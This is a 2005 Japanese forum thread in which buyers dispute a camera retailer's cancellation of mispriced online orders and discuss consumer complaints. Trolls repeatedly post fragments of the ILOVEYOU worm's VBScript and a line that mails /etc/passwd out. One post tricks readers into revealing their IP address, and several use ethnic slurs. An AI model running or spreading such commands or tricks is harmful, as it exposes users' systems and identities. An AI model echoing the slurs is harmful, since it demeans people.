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┌| ∵|┘ 99,540円の一眼デジカメが59,640円★その9

1 :番組の途中ですが名無しです:05/03/01 22:16:58 ID:PA+hHWBr
前スレ
http://news19.2ch.net/test/read.cgi/news/1109609080/

2 :番組の途中ですが名無しです:05/03/01 22:17:22 ID:DXFFZh1W
ゴネ厨必死だなw

3 :番組の途中ですが名無しです:05/03/01 22:17:26 ID:bCv1NiBl
おわったなここ

4 :番組の途中ですが名無しです:05/03/01 22:17:35 ID:2nLS1Mau
いつまでやるんだよ

5 :番組の途中ですが名無しです:05/03/01 22:18:30 ID:47gmHtb0
ゴネ厨恥ずかしいと思わないんですか?

6 :番組の途中ですが名無しです:05/03/01 22:18:35 ID:1cx1kHD+
経済産業省 (メール相談)
ttp://www.meti.go.jp/intro/consult/a_main_01.html

全国 消費生活センター (電話・現地窓口相談)
http://www.kokusen.go.jp/map/

電子商取引推進協議会 (WEBフォームから相談)
ttp://www.ecom.jp/adr/ja/

まとめ
http://ime.nu/ps2.s101.xrea.com/050226.html

行列の弁護士
http://www.ntv.co.jp/horitsu/20040905/3.html

なにわ
http://www.rakuten.co.jp/naniwa/index.html
メールアドレス:info@728.co.jp
カメラのナニワ 心斎橋本店
大阪市中央区心斎橋筋1-4-29
(06)6281-4100

7 :番組の途中ですが名無しです:05/03/01 22:19:55 ID:GoFv19wA
http://naniwa.s115.xrea.com/  まとめ2

8 :番組の途中ですが名無しです:05/03/01 22:22:15 ID:1cx1kHD+
・価格は桁違いでもなく、実勢価格の3割引程度。
・営業時間外になる直前にWEB上にお詫び文面がのった
 直接キャンセルの申し出を伝えるメールなどはなかった

・注文した翌日以降になってから、キャンセルを申し出る一方的なメール
・キャンセル申し出のメールがくる前に、価格表示が変動していた
 \56,800 → \99,540


・キャンセル連絡が遅かったために、すでに周辺機材を購入した人への対応は?
 (購入した人のみ、忘れず付け加える)

・価格表示やショッピングページでは
 「大決算セール」
 「楽天特別価格」
 など、安さを強調する表示が多くあった


9 :番組の途中ですが名無しです:05/03/01 22:22:47 ID:einSWMt6
まだまだいくよー!

10 :番組の途中ですが名無しです:05/03/01 22:23:31 ID:eT5bawpP
>>5
そのセリフはナニワにどぞ。

11 :番組の途中ですが名無しです:05/03/01 22:23:32 ID:1cx1kHD+

・電話受付外、営業日外にメールやTOPの改変を行ったのは
 意図的に行ったことだとナニワ社員が語った。

・ネット店舗では客からのキャンセルは受け付けないという表示をしていた
 (実際に出来る出来ないはともかくとして、キャンセルを拒否する表示があった)

・注文申し込みの際にはクレジットカード番号/有効期限/名義人 入力をした
 (クレカ入力した人のみ)

・キャンセルを伝える一方的な内容のメールの後、楽天市場からは
 広告のメールが来るようになった。個人情報の扱いが不安。

12 :番組の途中ですが名無しです:05/03/01 22:23:45 ID:EbJbs3r7
正業についてるゴネ厨>>>>>>>>>>>>>>>>ナニワ悪徳商会社員>ニート


13 :番組の途中ですが名無しです:05/03/01 22:24:53 ID:47gmHtb0
ゴネてる奴ってほぼクレーマー予備軍だろ?
恥ずかしいから外に出るなよw

14 :番組の途中ですが名無しです:05/03/01 22:24:59 ID:ErVGKkMP
・ネット店舗では客からのキャンセルは受け付けないという表示をしていた
 (実際に出来る出来ないはともかくとして、キャンセルを拒否する表示があった)

・ネット店舗では客からのキャンセルは受け付けないという表示をしていた
 (実際に出来る出来ないはともかくとして、キャンセルを拒否する表示があった)

・ネット店舗では客からのキャンセルは受け付けないという表示をしていた
 (実際に出来る出来ないはともかくとして、キャンセルを拒否する表示があった)

15 :番組の途中ですが名無しです:05/03/01 22:25:01 ID:einSWMt6
NGワード推奨 47gmHtb0

16 :番組の途中ですが名無しです:05/03/01 22:25:58 ID:1cx1kHD+
2005/03/01最新のナニワ側主張

『楽天からの自動返信メール到着の時点では契約成立ではない』

楽天からの自動メール到着時では契約成立しておらず、
ナニワからの手動メールをもって契約成立とすると.....

 →携帯電話のアドレスを入力した人に送られるメールには
  「このメールでもって契約成立ではない」旨の一文がないので
  契約は成立している
  (ナニワは販売しなければならい)

 →もし、携帯電話のアドレスを入力した人のみに販売するなら
  入力したアドレスによって契約時期にずれが出ることになるし、
  それでもって売れる売れないの話になるならば、不公平ではないか。

 →また、それならばなぜ客からのキャンセルは受け付けない
  という表示をしていたのか。

17 :番組の途中ですが名無しです:05/03/01 22:26:00 ID:BfPBxWmH
工作員ってすごいね。
おもしろい経験をさせてもらえて、うれしいよ。
塩山Jrの子飼いのチンピラ軍団なんだろうね。
ナニワの中でもジュニアにさからったりすると、
出てくる連中なんだろうな。

18 :番組の途中ですが名無しです:05/03/01 22:26:28 ID:BAJ2wGFI
俺もNGですか?

19 :番組の途中ですが名無しです:05/03/01 22:27:00 ID:ZB3ye2Tu
┌| ∵|┘

20 :番組の途中ですが名無しです:05/03/01 22:27:17 ID:47gmHtb0
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21 :番組の途中ですが名無しです:05/03/01 22:27:46 ID:DXFFZh1W
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22 :番組の途中ですが名無しです:05/03/01 22:28:11 ID:ErVGKkMP
社員必死だなw

23 :番組の途中ですが名無しです:05/03/01 22:29:10 ID:PA+hHWBr
昨日も夜中まで、保守作業やらされて残業も出ないやろ

24 :番組の途中ですが名無しです:05/03/01 22:29:12 ID:kK0OTF49
これって4割引ぐらいだろ
ネットでも普通の店舗でも、これぐらいの値引きって普通にあるんだよね
ナニワのネットショップでも、4割引以上の商品他にもあったし
もうナニワの商品の値段、ぜんぜん信用できないじゃん

25 :番組の途中ですが名無しです:05/03/01 22:29:13 ID:einSWMt6
番号の飛ばされ具合で、なんか必死っぽいのが分かる

26 :番組の途中ですが名無しです:05/03/01 22:29:33 ID:6/07itcX



           店にも客を選ぶ権利があるわ、アホ
                ゴネ厨死ね!!








27 :番組の途中ですが名無しです:05/03/01 22:29:43 ID:47gmHtb0
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28 :番組の途中ですが名無しです:05/03/01 22:29:57 ID:DXFFZh1W
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29 :番組の途中ですが名無しです:05/03/01 22:30:53 ID:PA+hHWBr
まだ終わってねえよ!

30 :番組の途中ですが名無しです:05/03/01 22:30:57 ID:47gmHtb0
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31 :番組の途中ですが名無しです:05/03/01 22:31:10 ID:DXFFZh1W
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32 :番組の途中ですが名無しです:05/03/01 22:31:25 ID:EbJbs3r7
さすがは心斎橋の北朝鮮ナニワ、会長、社長、アホぼんマンセーな忠犬社員ばっかり。


33 :番組の途中ですが名無しです:05/03/01 22:31:42 ID:BAJ2wGFI
俺を叩いたヤツも工作員!
んなわけない

でも今回の経緯分かってんのか?
今回の客の正当性と店の悪態を

まじで工作員なのか?

34 :番組の途中ですが名無しです:05/03/01 22:32:19 ID:47gmHtb0
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35 :番組の途中ですが名無しです:05/03/01 22:32:25 ID:1o1b1LFi
       /⌒ヽ
⊂二二二( ^ω^)二⊃
     |    /       ブーン
      ( ヽノ
      ノ>ノ 
  三  レレ

36 :番組の途中ですが名無しです:05/03/01 22:32:30 ID:DXFFZh1W
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37 :番組の途中ですが名無しです:05/03/01 22:32:45 ID:kK0OTF49
仕事で嫌なことがあったやつが八つ当たりしてんのか?

38 :番組の途中ですが名無しです:05/03/01 22:33:16 ID:2GwZREAJ
別に落ち度がないことでいちいち騒がないし、騒いだら営業妨害になることぐらい
わかってますからご心配なく。契約不履行の催促を私達はしているだけですので
心配は無用です。感心のない煽るだけの人はむしろ消費者権利主張妨害ですので
無視の方向で。

39 :番組の途中ですが名無しです:05/03/01 22:33:49 ID:PA+hHWBr
http://www.sap.co.jp/japan/company/success/list/suc_naniwa.asp

株式会社ナニワ商会は1947年、大阪ミナミの心斎橋にナニワ商会を創業以来、
「カメラのナニワ」として広く親しまれています。小売部門をはじめ、卸部門、
現像部門と拡大し、写真業界のトップクラスで 現在は写真関連だけでなく、
情報コミュニケーションツールとしての通信機器・コンピュータ機器から家電品
まで幅広く品揃えし、流通業界での大型量販店として営業活動しています。
大量生産大量消費の時代は地球的に飽和点に達し、終焉を迎えつつあること、
自主的に自らが楽しみを選択する時代になっていることを認識し、 顧客志向を
追求することを大きな目的としています。

>>顧客志向を追求すること

はぁ?



40 :番組の途中ですが名無しです:05/03/01 22:33:49 ID:47gmHtb0
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41 :番組の途中ですが名無しです:05/03/01 22:33:53 ID:Jfle+z3p
┌| ∵|┘┌| ∵|┘┌| ∵|┘┌| ∵|┘

42 :番組の途中ですが名無しです:05/03/01 22:34:04 ID:xgFn+9ej
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43 :番組の途中ですが名無しです:05/03/01 22:34:09 ID:DXFFZh1W
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44 :番組の途中ですが名無しです:05/03/01 22:35:03 ID:47gmHtb0
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45 :番組の途中ですが名無しです:05/03/01 22:35:14 ID:DXFFZh1W
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46 :番組の途中ですが名無しです:05/03/01 22:35:30 ID:einSWMt6
まぁ、NGワード指定してるんで何やっても無駄。
番号が度々とんでて笑えるくらい。

47 :番組の途中ですが名無しです:05/03/01 22:35:45 ID:2GwZREAJ
社員さんか知りませんがあんまりやると、荒らし報告にまわします
荒らしとして確認されますと、たぶん社会的責任の訴追は免れないと思いますので
その点を承知しておいたほうがいいですよ。ネットだからてそんなに甘くはないんで。



48 :番組の途中ですが名無しです:05/03/01 22:35:52 ID:xgFn+9ej
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49 :番組の途中ですが名無しです:05/03/01 22:36:33 ID:47gmHtb0
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50 :番組の途中ですが名無しです:05/03/01 22:36:34 ID:kK0OTF49
荒らしたからといって沈静化するわけでもなかろうに

51 :番組の途中ですが名無しです:05/03/01 22:36:34 ID:AFBFDsM2
すごい勢いでスレがのびてると思ったら、、、

賢いね、この人。
こうやれば┌| ∵|┘が必死に妨害してるように見えるからますます┌| ∵|┘の評判が堕ちるわけだ。
すごい考えたな。

52 :番組の途中ですが名無しです:05/03/01 22:36:42 ID:DnRF1CyM
基地外って、同じ事何度も言ったりするよね。

53 :番組の途中ですが名無しです:05/03/01 22:36:47 ID:DXFFZh1W
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54 :番組の途中ですが名無しです:05/03/01 22:37:04 ID:tjfMgqkL
http://stick.newsplus.jp/id.cgi?bbs=news&word=DXFFZh1W
http://stick.newsplus.jp/id.cgi?bbs=news&word=47gmHtb0

とりあえず、浪速スレだけ必死になっているヤシ

55 :番組の途中ですが名無しです:05/03/01 22:38:24 ID:Wf0Dtt1v
ナニワスレをあらせって業務命令でも出たのか?


56 :番組の途中ですが名無しです:05/03/01 22:38:25 ID:BAJ2wGFI



57 :番組の途中ですが名無しです:05/03/01 22:38:37 ID:einSWMt6
今後の展開としてはそのうち楽天から
「【楽天市場】ご注文キャンセルについて(自動配信メール)」
が来てナニワはそれで終わり〜ってするつもりなのかね。

俺、ナニワからの初めのメールと昨日のメールに返事出したが
見てもいないんだろうな・・・。

58 :番組の途中ですが名無しです:05/03/01 22:38:44 ID:7Nv7Ji6G
こんな素直な行動する工作員ははじめて見た。

59 :番組の途中ですが名無しです:05/03/01 22:38:47 ID:bi0T4rdF
http://rforum.rakuten.co.jp/?act=cattop&sid=2&cname=naniwa

60 :番組の途中ですが名無しです:05/03/01 22:39:18 ID:47gmHtb0
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61 :番組の途中ですが名無しです:05/03/01 22:39:27 ID:BAJ2wGFI
工作員のわきゃ無いがw
ミ○タニやりやがったな

62 ::05/03/01 22:39:27 ID:3biQBx2y
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

63 :番組の途中ですが名無しです:05/03/01 22:39:33 ID:DXFFZh1W
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
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64 :番組の途中ですが名無しです:05/03/01 22:40:15 ID:PA+hHWBr
Jrから今日からおまえが責任者と押しつけられたN根か?

65 :番組の途中ですが名無しです:05/03/01 22:40:33 ID:BAJ2wGFI
これってスレがはやくすすむだけだよな

ノートン反応するひとはログフォルダを対象外に

66 :番組の途中ですが名無しです:05/03/01 22:41:16 ID:47gmHtb0
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

67 :番組の途中ですが名無しです:05/03/01 22:41:20 ID:qJeA0iFh
産婦人科からここに書きこんでる
さっき新しい命がこの世に生を受けた、男の子だ
今日から父親だ、カメラも届く、涙出てきた

68 :番組の途中ですが名無しです:05/03/01 22:41:32 ID:AFBFDsM2
スレが伸びれば伸びる程注目集めるだけなのに。。
馬鹿なやつ。

69 :番組の途中ですが名無しです:05/03/01 22:42:19 ID:nL461KjS
   ┃
   ┃
   |||||||||||||||||||||||||||||||||||||||||||\
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   ||||     ||||||||||||||| |||||||||   |
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   ||||     ||||||||||||||| ||||||||||   |
   ||||||||||||||||||||||||||||||||||||||||||||   | w  w  w
   ||||||||||||||||||||||||||||||||||||||||||||   |v   w v
   ||||||||||||||||||||||||||||||||||||||||||||   |  w  w  v
   ||||||||||||||||||||||||||||||||||||||||||||   | v

70 :番組の途中ですが名無しです:05/03/01 22:42:38 ID:EbJbs3r7
ナニワ.イルソン 故塩山寅三 凶年91歳 ナニワ悪徳商会会長
ナニワ.ジョンイル 塩山高之 同社長
ナニワ.ジョナム  塩山 知之 同アホぼん


71 :番組の途中ですが名無しです:05/03/01 22:42:39 ID:DXFFZh1W
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

72 :番組の途中ですが名無しです:05/03/01 22:43:40 ID:einSWMt6
>>65
NGワード指定してるので何が行われてるのか全然分からん。


誰かecomに相談した人居る?
ecom何かしてくれるって?
ecomが間に入る場合、個人 対 ナニワとしてこの問題にあたるのかね?
今回の被害者達 対 ナニワ?
みんなそれぞれバラバラにecomに相談出した方がよい?

73 :番組の途中ですが名無しです:05/03/01 22:43:42 ID:uLMAKMXD
そりゃあ社員は気の毒だと思うよ
家のローン、子供の学費、車のローンを抱えてる最中に
業績悪化で給料削減、ボーナスも出ない
そして店舗縮小でリストラときたらこの先真っ暗だからね〜
今回の対応を見てると社員教育も行き届いてなさそうだし
同業への転職もきついかもな

74 :番組の途中ですが名無しです:05/03/01 22:44:18 ID:47gmHtb0
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

75 :番組の途中ですが名無しです:05/03/01 22:44:34 ID:LYcHGmkv
もうすぐ10スレ目か。早いな。


76 :番組の途中ですが名無しです:05/03/01 22:44:35 ID:BAJ2wGFI
どっかでメンバー集めてやってんな
どのスレから来てるか分かればな

分かっても何もできないが
┌【@曾@】┘はド素人ですよ!

77 :番組の途中ですが名無しです:05/03/01 22:45:21 ID:47gmHtb0
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

78 :番組の途中ですが名無しです:05/03/01 22:46:21 ID:BAJ2wGFI
何をNGワードに
ってかどこで設定するんだw

オレを工作員とかいったやつ反省汁!w

79 ::05/03/01 22:47:27 ID:3biQBx2y
ゴネてんじゃねえよ

80 :番組の途中ですが名無しです:05/03/01 22:48:07 ID:einSWMt6
>>78
おれはかちゅ〜しゃ使ってるから
ツールの項目で、荒らしちゃんのIDをNGワード指定

81 :番組の途中ですが名無しです:05/03/01 22:48:17 ID:BAJ2wGFI
ノートン入れようかな
反応しないのつまらない

82 :番組の途中ですが名無しです:05/03/01 22:48:17 ID:eJdw1zzt
ゴネ厨とか言って叩いてる奴は都合がいいな
買えたら買えたで逃げればいいし、
買えなかったら煽りまくれるもんな。

83 :番組の途中ですが名無しです:05/03/01 22:50:15 ID:BAJ2wGFI
>>82
叩いてるやつの多くが注文しているから摩訶不思議

84 :番組の途中ですが名無しです:05/03/01 22:50:44 ID:uLMAKMXD
社員が必死なのはわかる
俺も社員の人たちは気の毒だと思う
今回の件は回避することは可能だった
すべてMt塩Jrの判断、指示が悪い

85 :番組の途中ですが名無しです:05/03/01 22:51:11 ID:BfPBxWmH
>>78
まぁあんたはいいやつだよ。
そんなことは、わかっていた。

86 :番組の途中ですが名無しです:05/03/01 22:51:18 ID:DXFFZh1W
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

87 :番組の途中ですが名無しです:05/03/01 22:52:05 ID:hAO41ule
なんかすげえ必死なのがいるな

88 :番組の途中ですが名無しです:05/03/01 22:52:33 ID:uLMAKMXD
今まで責任者だったMt塩Jrは今回の不手際が公になったとたんに
部下のN根1人にすべての責任を押し付け終いには責任者というポストまでも
中ねに変え責任逃れに必死になっている。

Mt塩Jrはこれからは社員や客、今回の件を知った取引先、友人、隣近所から
部下を生贄にした卑怯者という目でみられて生きていくのかぁ
普通に接してても相手は心の内でそう思ってる。

そして最後は信用してた人物に裏切られて
その時になって初めてN根の気持ちがわかるんだろうな。

89 :番組の途中ですが名無しです:05/03/01 22:52:48 ID:1cx1kHD+
>>72

まだ相談し始めだけど話は持っていったよー。
仲裁プログラムでもって勧めてもらう予定。

詳しい内容は書けない(内容は二次利用不可)けど、俺がecomに持っていく相談内容は
大丈夫だろってことで書くよ。

> ecomが間に入る場合、個人 対 ナニワとしてこの問題にあたるのかね?

たぶん、そう。
バラバラにだしたほうがイイと思う。

あと、経済産業省のかたとも相談させてもらったけど、契約成立の時期について
重要になりそうなので>>16を参考にしてくれ。

アドレスの種類によって契約成立の時期がずれるのは本当、ありえないと思う。


90 :番組の途中ですが名無しです:05/03/01 22:54:15 ID:PA+hHWBr
すげぇ荒れてんな
工作員たちよ 残業つくのか
こんな事する暇あったら、Jrのご機嫌取りでもしてれば

91 :番組の途中ですが名無しです:05/03/01 22:54:27 ID:tjfMgqkL
IP規制されたとき晒されて、728.co.jpやcameranonaniwa.co.jpだったら伝説になるな。

92 :番組の途中ですが名無しです:05/03/01 22:55:41 ID:DXFFZh1W
お疲れ様でした〜

93 :番組の途中ですが名無しです:05/03/01 22:56:00 ID:kK0OTF49
塩○がもし社長の息子or孫で、そのうち社長になるんだとしたら
この会社だめでしょ
商売やってたら絶対トラブルに出くわすときは来る
そのトラブルから逃げてたら会社は衰退するだけだよ
トラブルに上手に対処することでその会社のイメージが高まることもあるんだしね


94 :番組の途中ですが名無しです:05/03/01 22:56:01 ID:PA+hHWBr
とたんに収まったな?
どうせ串の打ち方もしらんのやろ

95 :番組の途中ですが名無しです:05/03/01 22:57:03 ID:BAJ2wGFI
>>78
まじで
本当に
もう寝ても良い?w
ってかいつからだ?
前スレの最後からか

実況とかならうざいけど、特に影響ない気がする

96 :番組の途中ですが名無しです:05/03/01 22:57:12 ID:EbJbs3r7
>>88
IT担当ってとこまでますます正男ちゃん。

97 :番組の途中ですが名無しです:05/03/01 22:59:05 ID:PA+hHWBr
工作員共がびびっておとなしくなったな

98 :番組の途中ですが名無しです:05/03/01 22:59:19 ID:BAJ2wGFI
赤いきつねをたべますよ

99 :番組の途中ですが名無しです:05/03/01 23:00:27 ID:72DzT2ya
赤いきつねはだめだ


100 :番組の途中ですが名無しです:05/03/01 23:00:41 ID:2GwZREAJ
一応念のため報告しておきました。

101 :番組の途中ですが名無しです:05/03/01 23:00:41 ID:PA+hHWBr
規制板みてきたら、もう報告されてるのね

102 :番組の途中ですが名無しです:05/03/01 23:00:58 ID:BfPBxWmH
こんなにあっさり引くなんて、
ほんまに工作員としか思えんな。
ナニワってほんまにくさっとるわ。

103 :番組の途中ですが名無しです:05/03/01 23:03:20 ID:BAJ2wGFI
犯人はこの中に居た!

>>99
何がおすすめ?


おいはねとびをみてるんだぞ工作員は

104 :番組の途中ですが名無しです:05/03/01 23:03:34 ID:XgIy1lBY
ナニワロゴPNGでください

105 :番組の途中ですが名無しです:05/03/01 23:04:15 ID:einSWMt6
>>89
さんくす。やっぱみんなそれぞれにecomに相談した方が良いのね。

経済産業省には日曜夜にメール出して月曜に電話来て話して
そこでecomに相談した方が良いみたいな事は言われてたんだけど。

契約については楽天もナニワも成立してないとは全然言ってないよね。
どういうことなんだろう。

106 :番組の途中ですが名無しです:05/03/01 23:04:39 ID:2GwZREAJ
>>104
gifのはもうupしてありますが、PNGがいいですか?

107 :番組の途中ですが名無しです:05/03/01 23:05:32 ID:xgFn+9ej
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108 :番組の途中ですが名無しです:05/03/01 23:06:04 ID:swDedHcy
>>105
今日中根に電話したら楽天の規約で
当方からの受付メールがないと注文でない見たいな事を抜かしてたぞ

塩山Jrが入れ知恵したのかな

109 :番組の途中ですが名無しです:05/03/01 23:06:38 ID:xgFn+9ej
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"


110 :番組の途中ですが名無しです:05/03/01 23:07:52 ID:PA+hHWBr
今日の出来事みるわ

111 :番組の途中ですが名無しです:05/03/01 23:08:35 ID:1cx1kHD+
>>108

それについて、携帯のメールはどうなのか、と突っ込んだ人いない?

今試しに楽天内別店舗で注文したら、たしかに「このメールでもって契約成立じゃない」という
文面はなかった。(!!!)

必要なら個人情報や店舗情報マスクしてアップするよ。

112 :番組の途中ですが名無しです:05/03/01 23:08:52 ID:einSWMt6
>>108
まーじで〜?それは困る。

113 :番組の途中ですが名無しです:05/03/01 23:09:08 ID:XgIy1lBY
>>106
お願いします

114 :fuslanasan:05/03/01 23:09:11 ID:7Nv7Ji6G
おまえら、こんなに荒らしが多かったら、セキュリティガード登録しないと
大変だぞ。最近の2ちゃんはIPはとるわ、匿名性も低まっているからな・・。

ちなみに今年から登録方法変わってるから、気をつけて・・・。


==============================
SecGuard (Security Guard)
  もとは米国Stanford大学計算機科学部で開発された暗号化方法。
  ひろゆきが2chにも導入

登録方法
  名前: 欄に anafusianasan と書く。

==============================

115 :1&560:05/03/01 23:09:45 ID:f2AeglyK
>>108
ああ、俺には嘘をついたのね。
俺には二次的に「楽天の規約で契約がまだ成立していないから拒否するわけではなく、
単に売れる値段ではない数値で入力してしまったから売れない」だったのに。

契約はすでに成立していることで俺と話を進めていることになったのに。
最悪や。

116 :番組の途中ですが名無しです:05/03/01 23:10:10 ID:5N9t1tvH
テレビでネット犯罪のやってるよ。
ナニワも全く変わらないじゃん。


死ね

117 :番組の途中ですが名無しです:05/03/01 23:10:15 ID:sXjH9m8U
報告乙ですー

>>89
おいらも経済産業省でecom紹介されたよ
こっちは未だ相談持ってって無いけど早めに進めた方が
良いんだろうね

経済産業省→ecomのパターンの数で責めたら効果大きいと思う


118 :警告:05/03/01 23:11:29 ID:6/07itcX


anafusianasan はIPを表示するやつやで、騙されたらアカンで






119 :108:05/03/01 23:13:42 ID:swDedHcy
>>115
乙〜
俺も貴方の情報知ってたんでよっぽど言ってやろうかと思ったんだけど
この豹変振りも証拠のひとつかと思うよ

120 :番組の途中ですが名無しです:05/03/01 23:13:52 ID:xgFn+9ej
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了
終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了終了







121 : anafushianasan:05/03/01 23:14:57 ID:EbJbs3r7
>>118
北ナニワ人民、お国なまり丸出しで必死だな(古

122 :番組の途中ですが名無しです:05/03/01 23:17:16 ID:O7P7iFq1
水冷Athlon64 3200+が69,930円って安いの?

http://121ware.com/community/navigate/direct/directtemp.jsp?BV_SessionID=NNNN0578680980.1109684886NNNN&BV_EngineID=ccccadddmjhieljcflgcefkdgfgdfgi.0&LN=4d&ctp=MO&ctnm=%2fPC%2fAVALUESTAR%2f200501%2fVGTZ200501&MODE=k&ND=4253

123 :1&560 ◆yohAYGjGLI :05/03/01 23:17:19 ID:f2AeglyK
必要ないかもしれないけどトリップ付けました。

124 :番組の途中ですが名無しです:05/03/01 23:17:42 ID:YPUFUco0
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

125 :番組の途中ですが名無しです:05/03/01 23:18:41 ID:1cx1kHD+
携帯で注文してみた結果。
契約成立の時期については明記なし。

----------------
From: order@rakuten.co.jp
Date: Tue, 1 Mar 2005 23:06:29 +0900 (JST)
To: ******@ezweb.ne.jp
Cc: ******@****.ocn.ne.jp
Subject: 【楽天】注文内容ご確認(携帯)

[受注番号]208457-20******-*******
[商品]書いて覚える徹底!! 譜読 (10116-5) \800×1
[ショップ情報]******** *****@*****.ocn.ne.jp,***@***.ocn.ne.jp 0***-**-****

※商品に関するお問合せはショップにご連絡ください。このメールに返信されても、お答えできません。

[注文者]*****様(Tel***-***-****)
[送付先]*****様(〒***-*** ******************************* Tel***-**-****)
[支払/配送]銀行振込/宅配便
[小計/税/送料=合計]\800/\40/\210=\1050 ※送料等の諸費用は変わる場合があります。

楽天市場
http://m.rakuten.co.jp/withmusic/


126 :番組の途中ですが名無しです:05/03/01 23:19:09 ID:BfPBxWmH
北チョン国と、戦争してるみたいになってきた。

127 :番組の途中ですが名無しです:05/03/01 23:19:13 ID:2GwZREAJ
